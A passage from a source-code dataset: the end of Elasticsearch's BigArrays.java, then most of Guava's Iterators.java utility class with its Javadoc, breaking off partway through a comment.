adjustBreaker(BigObjectArray.estimateRamBytes(size), false);
return new BigObjectArray<>(size, this);
} else if (size >= PageCacheRecycler.OBJECT_PAGE_SIZE / 2 && recycler != null) {
final Recycler.V<Object[]> page = recycler.objectPage();
return validate(new ObjectArrayWrapper<>(this, page.v(), size, page));
} else {
return validate(new ObjectArrayWrapper<>(this, new Object[(int) size], size, null));
}
}
/** Resize the array to the exact provided size. */
public <T> ObjectArray<T> resize(ObjectArray<T> array, long size) {
if (array instanceof BigObjectArray) {
return resizeInPlace((BigObjectArray<T>) array, size);
} else {
final ObjectArray<T> newArray = newObjectArray(size);
for (long i = 0, end = Math.min(size, array.size()); i < end; ++i) {
newArray.set(i, array.get(i));
}
array.close();
return newArray;
}
}
/** Grow an array to a size that is larger than <code>minSize</code>,
* preserving content, and potentially reusing part of the provided array. */
public <T> ObjectArray<T> grow(ObjectArray<T> array, long minSize) {
if (minSize <= array.size()) {
return array;
}
final long newSize = overSize(minSize, PageCacheRecycler.OBJECT_PAGE_SIZE, RamUsageEstimator.NUM_BYTES_OBJECT_REF);
return resize(array, newSize);
}
protected boolean shouldCheckBreaker() {
return checkBreaker;
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/common/util/BigArrays.java |
1,390 | /*
* Copyright (C) 2007 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.base.Preconditions.checkState;
import static com.google.common.base.Predicates.instanceOf;
import static com.google.common.collect.CollectPreconditions.checkRemove;
import static com.google.common.collect.NullnessCasts.uncheckedCastNullableTToT;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.base.Function;
import com.google.common.base.Objects;
import com.google.common.base.Optional;
import com.google.common.base.Preconditions;
import com.google.common.base.Predicate;
import com.google.common.primitives.Ints;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import java.util.ArrayDeque;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.Deque;
import java.util.Enumeration;
import java.util.Iterator;
import java.util.List;
import java.util.NoSuchElementException;
import java.util.PriorityQueue;
import java.util.Queue;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.NonNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* This class contains static utility methods that operate on or return objects of type {@link
* Iterator}. Except as noted, each method has a corresponding {@link Iterable}-based method in the
* {@link Iterables} class.
*
* <p><i>Performance notes:</i> Unless otherwise noted, all of the iterators produced in this class
* are <i>lazy</i>, which means that they only advance the backing iteration when absolutely
* necessary.
*
* <p>See the Guava User Guide section on <a href=
* "https://github.com/google/guava/wiki/CollectionUtilitiesExplained#iterables">{@code
* Iterators}</a>.
*
* @author Kevin Bourrillion
* @author Jared Levy
* @since 2.0
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
public final class Iterators {
private Iterators() {}
/**
* Returns the empty iterator.
*
* <p>The {@link Iterable} equivalent of this method is {@link ImmutableSet#of()}.
*/
static <T extends @Nullable Object> UnmodifiableIterator<T> emptyIterator() {
return emptyListIterator();
}
/**
* Returns the empty iterator.
*
* <p>The {@link Iterable} equivalent of this method is {@link ImmutableSet#of()}.
*/
// Casting to any type is safe since there are no actual elements.
@SuppressWarnings("unchecked")
static <T extends @Nullable Object> UnmodifiableListIterator<T> emptyListIterator() {
return (UnmodifiableListIterator<T>) ArrayItr.EMPTY;
}
/**
* This is an enum singleton rather than an anonymous class so ProGuard can figure out it's only
* referenced by emptyModifiableIterator().
*/
private enum EmptyModifiableIterator implements Iterator<Object> {
INSTANCE;
@Override
public boolean hasNext() {
return false;
}
@Override
public Object next() {
throw new NoSuchElementException();
}
@Override
public void remove() {
checkRemove(false);
}
}
/**
* Returns the empty {@code Iterator} that throws {@link IllegalStateException} instead of {@link
* UnsupportedOperationException} on a call to {@link Iterator#remove()}.
*/
// Casting to any type is safe since there are no actual elements.
@SuppressWarnings("unchecked")
static <T extends @Nullable Object> Iterator<T> emptyModifiableIterator() {
return (Iterator<T>) EmptyModifiableIterator.INSTANCE;
}
/** Returns an unmodifiable view of {@code iterator}. */
public static <T extends @Nullable Object> UnmodifiableIterator<T> unmodifiableIterator(
Iterator<? extends T> iterator) {
checkNotNull(iterator);
if (iterator instanceof UnmodifiableIterator) {
@SuppressWarnings("unchecked") // Since it's unmodifiable, the covariant cast is safe
UnmodifiableIterator<T> result = (UnmodifiableIterator<T>) iterator;
return result;
}
return new UnmodifiableIterator<T>() {
@Override
public boolean hasNext() {
return iterator.hasNext();
}
@Override
@ParametricNullness
public T next() {
return iterator.next();
}
};
}
/**
* Simply returns its argument.
*
* @deprecated no need to use this
* @since 10.0
*/
@Deprecated
public static <T extends @Nullable Object> UnmodifiableIterator<T> unmodifiableIterator(
UnmodifiableIterator<T> iterator) {
return checkNotNull(iterator);
}
/**
* Returns the number of elements remaining in {@code iterator}. The iterator will be left
* exhausted: its {@code hasNext()} method will return {@code false}.
*/
public static int size(Iterator<?> iterator) {
long count = 0L;
while (iterator.hasNext()) {
iterator.next();
count++;
}
return Ints.saturatedCast(count);
}
/** Returns {@code true} if {@code iterator} contains {@code element}. */
public static boolean contains(Iterator<?> iterator, @CheckForNull Object element) {
if (element == null) {
while (iterator.hasNext()) {
if (iterator.next() == null) {
return true;
}
}
} else {
while (iterator.hasNext()) {
if (element.equals(iterator.next())) {
return true;
}
}
}
return false;
}
/**
* Traverses an iterator and removes every element that belongs to the provided collection. The
* iterator will be left exhausted: its {@code hasNext()} method will return {@code false}.
*
* @param removeFrom the iterator to (potentially) remove elements from
* @param elementsToRemove the elements to remove
* @return {@code true} if any element was removed from {@code iterator}
*/
@CanIgnoreReturnValue
public static boolean removeAll(Iterator<?> removeFrom, Collection<?> elementsToRemove) {
checkNotNull(elementsToRemove);
boolean result = false;
while (removeFrom.hasNext()) {
if (elementsToRemove.contains(removeFrom.next())) {
removeFrom.remove();
result = true;
}
}
return result;
}
/**
* Removes every element that satisfies the provided predicate from the iterator. The iterator
* will be left exhausted: its {@code hasNext()} method will return {@code false}.
*
* @param removeFrom the iterator to (potentially) remove elements from
* @param predicate a predicate that determines whether an element should be removed
* @return {@code true} if any elements were removed from the iterator
* @since 2.0
*/
@CanIgnoreReturnValue
public static <T extends @Nullable Object> boolean removeIf(
Iterator<T> removeFrom, Predicate<? super T> predicate) {
checkNotNull(predicate);
boolean modified = false;
while (removeFrom.hasNext()) {
if (predicate.apply(removeFrom.next())) {
removeFrom.remove();
modified = true;
}
}
return modified;
}
/**
* Traverses an iterator and removes every element that does not belong to the provided
* collection. The iterator will be left exhausted: its {@code hasNext()} method will return
* {@code false}.
*
* @param removeFrom the iterator to (potentially) remove elements from
* @param elementsToRetain the elements to retain
* @return {@code true} if any element was removed from {@code iterator}
*/
@CanIgnoreReturnValue
public static boolean retainAll(Iterator<?> removeFrom, Collection<?> elementsToRetain) {
checkNotNull(elementsToRetain);
boolean result = false;
while (removeFrom.hasNext()) {
if (!elementsToRetain.contains(removeFrom.next())) {
removeFrom.remove();
result = true;
}
}
return result;
}
/**
* Determines whether two iterators contain equal elements in the same order. More specifically,
* this method returns {@code true} if {@code iterator1} and {@code iterator2} contain the same
* number of elements and every element of {@code iterator1} is equal to the corresponding element
* of {@code iterator2}.
*
* <p>Note that this will modify the supplied iterators, since they will have been advanced some
* number of elements forward.
*/
public static boolean elementsEqual(Iterator<?> iterator1, Iterator<?> iterator2) {
while (iterator1.hasNext()) {
if (!iterator2.hasNext()) {
return false;
}
Object o1 = iterator1.next();
Object o2 = iterator2.next();
if (!Objects.equal(o1, o2)) {
return false;
}
}
return !iterator2.hasNext();
}
/**
* Returns a string representation of {@code iterator}, with the format {@code [e1, e2, ..., en]}.
* The iterator will be left exhausted: its {@code hasNext()} method will return {@code false}.
*/
public static String toString(Iterator<?> iterator) {
StringBuilder sb = new StringBuilder().append('[');
boolean first = true;
while (iterator.hasNext()) {
if (!first) {
sb.append(", ");
}
first = false;
sb.append(iterator.next());
}
return sb.append(']').toString();
}
/**
* Returns the single element contained in {@code iterator}.
*
* @throws NoSuchElementException if the iterator is empty
* @throws IllegalArgumentException if the iterator contains multiple elements. The state of the
* iterator is unspecified.
*/
@ParametricNullness
public static <T extends @Nullable Object> T getOnlyElement(Iterator<T> iterator) {
T first = iterator.next();
if (!iterator.hasNext()) {
return first;
}
StringBuilder sb = new StringBuilder().append("expected one element but was: <").append(first);
for (int i = 0; i < 4 && iterator.hasNext(); i++) {
sb.append(", ").append(iterator.next());
}
if (iterator.hasNext()) {
sb.append(", ...");
}
sb.append('>');
throw new IllegalArgumentException(sb.toString());
}
/**
* Returns the single element contained in {@code iterator}, or {@code defaultValue} if the
* iterator is empty.
*
* @throws IllegalArgumentException if the iterator contains multiple elements. The state of the
* iterator is unspecified.
*/
@ParametricNullness
public static <T extends @Nullable Object> T getOnlyElement(
Iterator<? extends T> iterator, @ParametricNullness T defaultValue) {
return iterator.hasNext() ? getOnlyElement(iterator) : defaultValue;
}
/**
* Copies an iterator's elements into an array. The iterator will be left exhausted: its {@code
* hasNext()} method will return {@code false}.
*
* @param iterator the iterator to copy
* @param type the type of the elements
* @return a newly-allocated array into which all the elements of the iterator have been copied
*/
@GwtIncompatible // Array.newInstance(Class, int)
public static <T extends @Nullable Object> T[] toArray(
Iterator<? extends T> iterator, Class<@NonNull T> type) {
List<T> list = Lists.newArrayList(iterator);
return Iterables.<T>toArray(list, type);
}
/**
* Adds all elements in {@code iterator} to {@code collection}. The iterator will be left
* exhausted: its {@code hasNext()} method will return {@code false}.
*
* @return {@code true} if {@code collection} was modified as a result of this operation
*/
@CanIgnoreReturnValue
public static <T extends @Nullable Object> boolean addAll(
Collection<T> addTo, Iterator<? extends T> iterator) {
checkNotNull(addTo);
checkNotNull(iterator);
boolean wasModified = false;
while (iterator.hasNext()) {
wasModified |= addTo.add(iterator.next());
}
return wasModified;
}
/**
* Returns the number of elements in the specified iterator that equal the specified object. The
* iterator will be left exhausted: its {@code hasNext()} method will return {@code false}.
*
* @see Collections#frequency
*/
public static int frequency(Iterator<?> iterator, @CheckForNull Object element) {
int count = 0;
while (contains(iterator, element)) {
// Since it lives in the same class, we know contains gets to the element and then stops,
// though that isn't currently publicly documented.
count++;
}
return count;
}
/**
* Returns an iterator that cycles indefinitely over the elements of {@code iterable}.
*
* <p>The returned iterator supports {@code remove()} if the provided iterator does. After {@code
* remove()} is called, subsequent cycles omit the removed element, which is no longer in {@code
* iterable}. The iterator's {@code hasNext()} method returns {@code true} until {@code iterable}
* is empty.
*
* <p><b>Warning:</b> Typical uses of the resulting iterator may produce an infinite loop. You
* should use an explicit {@code break} or be certain that you will eventually remove all the
* elements.
*/
public static <T extends @Nullable Object> Iterator<T> cycle(Iterable<T> iterable) {
checkNotNull(iterable);
return new Iterator<T>() {
Iterator<T> iterator = emptyModifiableIterator();
@Override
public boolean hasNext() {
/*
* Don't store a new Iterator until we know the user can't remove() the last returned
* element anymore. Otherwise, when we remove from the old iterator, we may be invalidating
* the new one. The result is a ConcurrentModificationException or other bad behavior.
*
* (If we decide that we really, really hate allocating two Iterators per cycle instead of
* one, we can optimistically store the new Iterator and then be willing to throw it out if
* the user calls remove().)
*/
return iterator.hasNext() || iterable.iterator().hasNext();
}
@Override
@ParametricNullness
public T next() {
if (!iterator.hasNext()) {
iterator = iterable.iterator();
if (!iterator.hasNext()) {
throw new NoSuchElementException();
}
}
return iterator.next();
}
@Override
public void remove() {
iterator.remove();
}
};
}
/**
* Returns an iterator that cycles indefinitely over the provided elements.
*
* <p>The returned iterator supports {@code remove()}. After {@code remove()} is called,
* subsequent cycles omit the removed element, but {@code elements} does not change. The
* iterator's {@code hasNext()} method returns {@code true} until all of the original elements
* have been removed.
*
* <p><b>Warning:</b> Typical uses of the resulting iterator may produce an infinite loop. You
* should use an explicit {@code break} or be certain that you will eventually remove all the
* elements.
*/
@SafeVarargs
public static <T extends @Nullable Object> Iterator<T> cycle(T... elements) {
return cycle(Lists.newArrayList(elements));
}
/**
* Returns an Iterator that walks the specified array, nulling out elements behind it. This can
* avoid memory leaks when an element is no longer necessary.
*
* <p>This method accepts an array with element type {@code @Nullable T}, but callers must pass an
* array whose contents are initially non-null. The {@code @Nullable} annotation indicates that
* this method will write nulls into the array during iteration.
*
* <p>This is mainly just to avoid the intermediate ArrayDeque in ConsumingQueueIterator.
*/
private static <I extends Iterator<?>> Iterator<I> consumingForArray(@Nullable I... elements) {
return new UnmodifiableIterator<I>() {
int index = 0;
@Override
public boolean hasNext() {
return index < elements.length;
}
@Override
public I next() {
if (!hasNext()) {
throw new NoSuchElementException();
}
/*
* requireNonNull is safe because our callers always pass non-null arguments. Each element
* of the array becomes null only when we iterate past it and then clear it.
*/
I result = requireNonNull(elements[index]);
elements[index] = null;
index++;
return result;
}
};
}
/**
* Combines two iterators into a single iterator. The returned iterator iterates across the
* elements in {@code a}, followed by the elements in {@code b}. The source iterators are not
* polled until necessary.
*
* <p>The returned iterator supports {@code remove()} when the corresponding input iterator
* supports it.
*/
public static <T extends @Nullable Object> Iterator<T> concat(
Iterator<? extends T> a, Iterator<? extends T> b) {
checkNotNull(a);
checkNotNull(b);
return concat(consumingForArray(a, b));
}
/**
* Combines three iterators into a single iterator. The returned iterator iterates across the
* elements in {@code a}, followed by the elements in {@code b}, followed by the elements in
* {@code c}. The source iterators are not polled until necessary.
*
* <p>The returned iterator supports {@code remove()} when the corresponding input iterator
* supports it.
*/
public static <T extends @Nullable Object> Iterator<T> concat(
Iterator<? extends T> a, Iterator<? extends T> b, Iterator<? extends T> c) {
checkNotNull(a);
checkNotNull(b);
checkNotNull(c);
return concat(consumingForArray(a, b, c));
}
/**
* Combines four iterators into a single iterator. The returned iterator iterates across the
* elements in {@code a}, followed by the elements in {@code b}, followed by the elements in
* {@code c}, followed by the elements in {@code d}. The source iterators are not polled until
* necessary.
*
* <p>The returned iterator supports {@code remove()} when the corresponding input iterator
* supports it.
*/
public static <T extends @Nullable Object> Iterator<T> concat(
Iterator<? extends T> a,
Iterator<? extends T> b,
Iterator<? extends T> c,
Iterator<? extends T> d) {
checkNotNull(a);
checkNotNull(b);
checkNotNull(c);
checkNotNull(d);
return concat(consumingForArray(a, b, c, d));
}
/**
* Combines multiple iterators into a single iterator. The returned iterator iterates across the
* elements of each iterator in {@code inputs}. The input iterators are not polled until
* necessary.
*
* <p>The returned iterator supports {@code remove()} when the corresponding input iterator
* supports it.
*
* @throws NullPointerException if any of the provided iterators is null
*/
@SafeVarargs
public static <T extends @Nullable Object> Iterator<T> concat(Iterator<? extends T>... inputs) {
return concatNoDefensiveCopy(Arrays.copyOf(inputs, inputs.length));
}
/**
* Combines multiple iterators into a single iterator. The returned iterator iterates across the
* elements of each iterator in {@code inputs}. The input iterators are not polled until
* necessary.
*
* <p>The returned iterator supports {@code remove()} when the corresponding input iterator
* supports it. The methods of the returned iterator may throw {@code NullPointerException} if any
* of the input iterators is null.
*/
public static <T extends @Nullable Object> Iterator<T> concat(
Iterator<? extends Iterator<? extends T>> inputs) {
return new ConcatenatedIterator<>(inputs);
}
/** Concats a varargs array of iterators without making a defensive copy of the array. */
static <T extends @Nullable Object> Iterator<T> concatNoDefensiveCopy(
Iterator<? extends T>... inputs) {
for (Iterator<? extends T> input : checkNotNull(inputs)) {
checkNotNull(input);
}
return concat(consumingForArray(inputs));
}
/**
* Divides an iterator into unmodifiable sublists of the given size (the final list may be
* smaller). For example, partitioning an iterator containing {@code [a, b, c, d, e]} with a
* partition size of 3 yields {@code [[a, b, c], [d, e]]} -- an outer iterator containing two
* inner lists of three and two elements, all in the original order.
*
* <p>The returned lists implement {@link java.util.RandomAccess}.
*
* <p><b>Note:</b> The current implementation eagerly allocates storage for {@code size} elements.
* As a consequence, passing values like {@code Integer.MAX_VALUE} can lead to {@link
* OutOfMemoryError}.
*
* @param iterator the iterator to return a partitioned view of
* @param size the desired size of each partition (the last may be smaller)
* @return an iterator of immutable lists containing the elements of {@code iterator} divided into
* partitions
* @throws IllegalArgumentException if {@code size} is nonpositive
*/
public static <T extends @Nullable Object> UnmodifiableIterator<List<T>> partition(
Iterator<T> iterator, int size) {
return partitionImpl(iterator, size, false);
}
/**
* Divides an iterator into unmodifiable sublists of the given size, padding the final iterator
* with null values if necessary. For example, partitioning an iterator containing {@code [a, b,
* c, d, e]} with a partition size of 3 yields {@code [[a, b, c], [d, e, null]]} -- an outer
* iterator containing two inner lists of three elements each, all in the original order.
*
* <p>The returned lists implement {@link java.util.RandomAccess}.
*
* @param iterator the iterator to return a partitioned view of
* @param size the desired size of each partition
* @return an iterator of immutable lists containing the elements of {@code iterator} divided into
* partitions (the final iterable may have trailing null elements)
* @throws IllegalArgumentException if {@code size} is nonpositive
*/
public static <T extends @Nullable Object>
UnmodifiableIterator<List<@Nullable T>> paddedPartition(Iterator<T> iterator, int size) {
return partitionImpl(iterator, size, true);
}
private static <T extends @Nullable Object> UnmodifiableIterator<List<@Nullable T>> partitionImpl(
Iterator<T> iterator, int size, boolean pad) {
checkNotNull(iterator);
checkArgument(size > 0);
return new UnmodifiableIterator<List<@Nullable T>>() {
@Override
public boolean hasNext() {
return iterator.hasNext();
}
@Override
public List<@Nullable T> next() {
if (!hasNext()) {
throw new NoSuchElementException();
}
@SuppressWarnings("unchecked") // we only put Ts in it
@Nullable
T[] array = (@Nullable T[]) new Object[size];
int count = 0;
for (; count < size && iterator.hasNext(); count++) {
array[count] = iterator.next();
}
for (int i = count; i < size; i++) {
array[i] = null; // for GWT
}
List<@Nullable T> list = Collections.unmodifiableList(Arrays.asList(array));
// TODO(b/192579700): Use a ternary once it no longer confuses our nullness checker.
if (pad || count == size) {
return list;
} else {
return list.subList(0, count);
}
}
};
}
/**
* Returns a view of {@code unfiltered} containing all elements that satisfy the input predicate
* {@code retainIfTrue}.
*/
public static <T extends @Nullable Object> UnmodifiableIterator<T> filter(
Iterator<T> unfiltered, Predicate<? super T> retainIfTrue) {
checkNotNull(unfiltered);
checkNotNull(retainIfTrue);
return new AbstractIterator<T>() {
@Override
@CheckForNull
protected T computeNext() {
while (unfiltered.hasNext()) {
T element = unfiltered.next();
if (retainIfTrue.apply(element)) {
return element;
}
}
return endOfData();
}
};
}
/**
* Returns a view of {@code unfiltered} containing all elements that are of the type {@code
* desiredType}.
*/
@SuppressWarnings("unchecked") // can cast to <T> because non-Ts are removed
@GwtIncompatible // Class.isInstance
public static <T> UnmodifiableIterator<T> filter(Iterator<?> unfiltered, Class<T> desiredType) {
return (UnmodifiableIterator<T>) filter(unfiltered, instanceOf(desiredType));
}
/**
* Returns {@code true} if one or more elements returned by {@code iterator} satisfy the given
* predicate.
*/
public static <T extends @Nullable Object> boolean any(
Iterator<T> iterator, Predicate<? super T> predicate) {
return indexOf(iterator, predicate) != -1;
}
/**
* Returns {@code true} if every element returned by {@code iterator} satisfies the given
* predicate. If {@code iterator} is empty, {@code true} is returned.
*/
public static <T extends @Nullable Object> boolean all(
Iterator<T> iterator, Predicate<? super T> predicate) {
checkNotNull(predicate);
while (iterator.hasNext()) {
T element = iterator.next();
if (!predicate.apply(element)) {
return false;
}
}
return true;
}
/**
* Returns the first element in {@code iterator} that satisfies the given predicate; use this
* method only when such an element is known to exist. If no such element is found, the iterator
* will be left exhausted: its {@code hasNext()} method will return {@code false}. If it is
* possible that <i>no</i> element will match, use {@link #tryFind} or {@link #find(Iterator,
* Predicate, Object)} instead.
*
* @throws NoSuchElementException if no element in {@code iterator} matches the given predicate
*/
@ParametricNullness
public static <T extends @Nullable Object> T find(
Iterator<T> iterator, Predicate<? super T> predicate) {
checkNotNull(iterator);
checkNotNull(predicate);
while (iterator.hasNext()) {
T t = iterator.next();
if (predicate.apply(t)) {
return t;
}
}
throw new NoSuchElementException();
}
/**
* Returns the first element in {@code iterator} that satisfies the given predicate. If no such
* element is found, {@code defaultValue} will be returned from this method and the iterator will
* be left exhausted: its {@code hasNext()} method will return {@code false}. Note that this can
* usually be handled more naturally using {@code tryFind(iterator, predicate).or(defaultValue)}.
*
* @since 7.0
*/
// For discussion of this signature, see the corresponding overload of *Iterables*.find.
@CheckForNull
public static <T extends @Nullable Object> T find(
Iterator<? extends T> iterator,
Predicate<? super T> predicate,
@CheckForNull T defaultValue) {
checkNotNull(iterator);
checkNotNull(predicate);
while (iterator.hasNext()) {
T t = iterator.next();
if (predicate.apply(t)) {
return t;
}
}
return defaultValue;
}
/**
* Returns an {@link Optional} containing the first element in {@code iterator} that satisfies the
* given predicate, if such an element exists. If no such element is found, an empty {@link
* Optional} will be returned from this method and the iterator will be left exhausted: its {@code
* hasNext()} method will return {@code false}.
*
* <p><b>Warning:</b> avoid using a {@code predicate} that matches {@code null}. If {@code null}
* is matched in {@code iterator}, a NullPointerException will be thrown.
*
* @since 11.0
*/
public static <T> Optional<T> tryFind(Iterator<T> iterator, Predicate<? super T> predicate) {
checkNotNull(iterator);
checkNotNull(predicate);
while (iterator.hasNext()) {
T t = iterator.next();
if (predicate.apply(t)) {
return Optional.of(t);
}
}
return Optional.absent();
}
/**
* Returns the index in {@code iterator} of the first element that satisfies the provided {@code
* predicate}, or {@code -1} if the Iterator has no such elements.
*
* <p>More formally, returns the lowest index {@code i} such that {@code
* predicate.apply(Iterators.get(iterator, i))} returns {@code true}, or {@code -1} if there is no
* such index.
*
* <p>If -1 is returned, the iterator will be left exhausted: its {@code hasNext()} method will
* return {@code false}. Otherwise, the iterator will be set to the element which satisfies the
* {@code predicate}.
*
* @since 2.0
*/
public static <T extends @Nullable Object> int indexOf(
Iterator<T> iterator, Predicate<? super T> predicate) {
checkNotNull(predicate, "predicate");
for (int i = 0; iterator.hasNext(); i++) {
T current = iterator.next();
if (predicate.apply(current)) {
return i;
}
}
return -1;
}
/**
* Returns a view containing the result of applying {@code function} to each element of {@code
* fromIterator}.
*
* <p>The returned iterator supports {@code remove()} if {@code fromIterator} does. After a
* successful {@code remove()} call, {@code fromIterator} no longer contains the corresponding
* element.
*/
public static <F extends @Nullable Object, T extends @Nullable Object> Iterator<T> transform(
Iterator<F> fromIterator, Function<? super F, ? extends T> function) {
checkNotNull(function);
return new TransformedIterator<F, T>(fromIterator) {
@ParametricNullness
@Override
T transform(@ParametricNullness F from) {
return function.apply(from);
}
};
}
/**
* Advances {@code iterator} {@code position + 1} times, returning the element at the {@code
* position}th position.
*
* @param position position of the element to return
* @return the element at the specified position in {@code iterator}
* @throws IndexOutOfBoundsException if {@code position} is negative or greater than or equal to
* the number of elements remaining in {@code iterator}
*/
@ParametricNullness
public static <T extends @Nullable Object> T get(Iterator<T> iterator, int position) {
checkNonnegative(position);
int skipped = advance(iterator, position);
if (!iterator.hasNext()) {
throw new IndexOutOfBoundsException(
"position ("
+ position
+ ") must be less than the number of elements that remained ("
+ skipped
+ ")");
}
return iterator.next();
}
/**
* Advances {@code iterator} {@code position + 1} times, returning the element at the {@code
* position}th position or {@code defaultValue} otherwise.
*
* @param position position of the element to return
* @param defaultValue the default value to return if the iterator is empty or if {@code position}
* is greater than the number of elements remaining in {@code iterator}
* @return the element at the specified position in {@code iterator} or {@code defaultValue} if
* {@code iterator} produces fewer than {@code position + 1} elements.
* @throws IndexOutOfBoundsException if {@code position} is negative
* @since 4.0
*/
@ParametricNullness
public static <T extends @Nullable Object> T get(
Iterator<? extends T> iterator, int position, @ParametricNullness T defaultValue) {
checkNonnegative(position);
advance(iterator, position);
return getNext(iterator, defaultValue);
}
static void checkNonnegative(int position) {
if (position < 0) {
throw new IndexOutOfBoundsException("position (" + position + ") must not be negative");
}
}
/**
* Returns the next element in {@code iterator} or {@code defaultValue} if the iterator is empty.
* The {@link Iterables} analog to this method is {@link Iterables#getFirst}.
*
* @param defaultValue the default value to return if the iterator is empty
* @return the next element of {@code iterator} or the default value
* @since 7.0
*/
@ParametricNullness
public static <T extends @Nullable Object> T getNext(
Iterator<? extends T> iterator, @ParametricNullness T defaultValue) {
return iterator.hasNext() ? iterator.next() : defaultValue;
}
/**
* Advances {@code iterator} to the end, returning the last element.
*
* @return the last element of {@code iterator}
* @throws NoSuchElementException if the iterator is empty
*/
@ParametricNullness
public static <T extends @Nullable Object> T getLast(Iterator<T> iterator) {
while (true) {
T current = iterator.next();
if (!iterator.hasNext()) {
return current;
}
}
}
/**
* Advances {@code iterator} to the end, returning the last element or {@code defaultValue} if the
* iterator is empty.
*
* @param defaultValue the default value to return if the iterator is empty
* @return the last element of {@code iterator}
* @since 3.0
*/
@ParametricNullness
public static <T extends @Nullable Object> T getLast(
Iterator<? extends T> iterator, @ParametricNullness T defaultValue) {
return iterator.hasNext() ? getLast(iterator) : defaultValue;
}
/**
* Calls {@code next()} on {@code iterator}, either {@code numberToAdvance} times or until {@code
* hasNext()} returns {@code false}, whichever comes first.
*
* @return the number of elements the iterator was advanced
* @since 13.0 (since 3.0 as {@code Iterators.skip})
*/
@CanIgnoreReturnValue
public static int advance(Iterator<?> iterator, int numberToAdvance) {
checkNotNull(iterator);
checkArgument(numberToAdvance >= 0, "numberToAdvance must be nonnegative");
int i;
for (i = 0; i < numberToAdvance && iterator.hasNext(); i++) {
iterator.next();
}
return i;
}
/**
* Returns a view containing the first {@code limitSize} elements of {@code iterator}. If {@code
* iterator} contains fewer than {@code limitSize} elements, the returned view contains all of its
* elements. The returned iterator supports {@code remove()} if {@code iterator} does.
*
* @param iterator the iterator to limit
* @param limitSize the maximum number of elements in the returned iterator
* @throws IllegalArgumentException if {@code limitSize} is negative
* @since 3.0
*/
public static <T extends @Nullable Object> Iterator<T> limit(
Iterator<T> iterator, int limitSize) {
checkNotNull(iterator);
checkArgument(limitSize >= 0, "limit is negative");
return new Iterator<T>() {
private int count;
@Override
public boolean hasNext() {
return count < limitSize && iterator.hasNext();
}
@Override
@ParametricNullness
public T next() {
if (!hasNext()) {
throw new NoSuchElementException();
}
count++;
return iterator.next();
}
@Override
public void remove() {
iterator.remove();
}
};
}
/**
* Returns a view of the supplied {@code iterator} that removes each element from the supplied
* {@code iterator} as it is returned.
*
* <p>The provided iterator must support {@link Iterator#remove()} or else the returned iterator
* will fail on the first call to {@code next}. The returned {@link Iterator} is also not
* thread-safe.
*
* @param iterator the iterator to remove and return elements from
* @return an iterator that removes and returns elements from the supplied iterator
* @since 2.0
*/
public static <T extends @Nullable Object> Iterator<T> consumingIterator(Iterator<T> iterator) {
checkNotNull(iterator);
return new UnmodifiableIterator<T>() {
@Override
public boolean hasNext() {
return iterator.hasNext();
}
@Override
@ParametricNullness
public T next() {
T next = iterator.next();
iterator.remove();
return next;
}
@Override
public String toString() {
return "Iterators.consumingIterator(...)";
}
};
}
/**
* Deletes and returns the next value from the iterator, or returns {@code null} if there is no
* such value.
*/
@CheckForNull
static <T extends @Nullable Object> T pollNext(Iterator<T> iterator) {
if (iterator.hasNext()) {
T result = iterator.next();
iterator.remove();
return result;
} else {
return null;
}
}
// Methods only in Iterators, not in Iterables
/** Clears the iterator using its remove method. */
static void clear(Iterator<?> iterator) {
checkNotNull(iterator);
while (iterator.hasNext()) {
iterator.next();
iterator.remove();
}
}
/**
* Returns an iterator containing the elements of {@code array} in order. The returned iterator is
* a view of the array; subsequent changes to the array will be reflected in the iterator.
*
* <p><b>Note:</b> It is often preferable to represent your data using a collection type, for
* example using {@link Arrays#asList(Object[])}, making this method unnecessary.
*
* <p>The {@code Iterable} equivalent of this method is either {@link Arrays#asList(Object[])},
* {@link ImmutableList#copyOf(Object[])}}, or {@link ImmutableList#of}.
*/
@SafeVarargs
public static <T extends @Nullable Object> UnmodifiableIterator<T> forArray(T... array) {
return forArrayWithPosition(array, 0);
}
/**
* Returns a list iterator containing the elements in the specified {@code array} in order,
* starting at the specified {@code position}.
*
* <p>The {@code Iterable} equivalent of this method is {@code
* Arrays.asList(array).listIterator(position)}.
*/
static <T extends @Nullable Object> UnmodifiableListIterator<T> forArrayWithPosition(
T[] array, int position) {
if (array.length == 0) {
Preconditions.checkPositionIndex(position, array.length); // otherwise checked in ArrayItr
return emptyListIterator();
}
return new ArrayItr<>(array, position);
}
private static final class ArrayItr<T extends @Nullable Object>
extends AbstractIndexedListIterator<T> {
static final UnmodifiableListIterator<Object> EMPTY = new ArrayItr<>(new Object[0], 0);
private final T[] array;
ArrayItr(T[] array, int position) {
super(array.length, position);
this.array = array;
}
@Override
@ParametricNullness
protected T get(int index) {
return array[index];
}
}
/**
* Returns an iterator containing only {@code value}.
*
* <p>The {@link Iterable} equivalent of this method is {@link Collections#singleton}.
*/
public static <T extends @Nullable Object> UnmodifiableIterator<T> singletonIterator(
@ParametricNullness T value) {
return new SingletonIterator<>(value);
}
private static final class SingletonIterator<T extends @Nullable Object>
extends UnmodifiableIterator<T> {
private final T value;
private boolean done;
SingletonIterator(T value) {
this.value = value;
}
@Override
public boolean hasNext() {
return !done;
}
@Override
@ParametricNullness
public T next() {
if (done) {
throw new NoSuchElementException();
}
done = true;
return value;
}
}
/**
* Adapts an {@code Enumeration} to the {@code Iterator} interface.
*
* <p>This method has no equivalent in {@link Iterables} because viewing an {@code Enumeration} as
* an {@code Iterable} is impossible. However, the contents can be <i>copied</i> into a collection
* using {@link Collections#list}.
*
* <p><b>Java 9 users:</b> use {@code enumeration.asIterator()} instead, unless it is important to
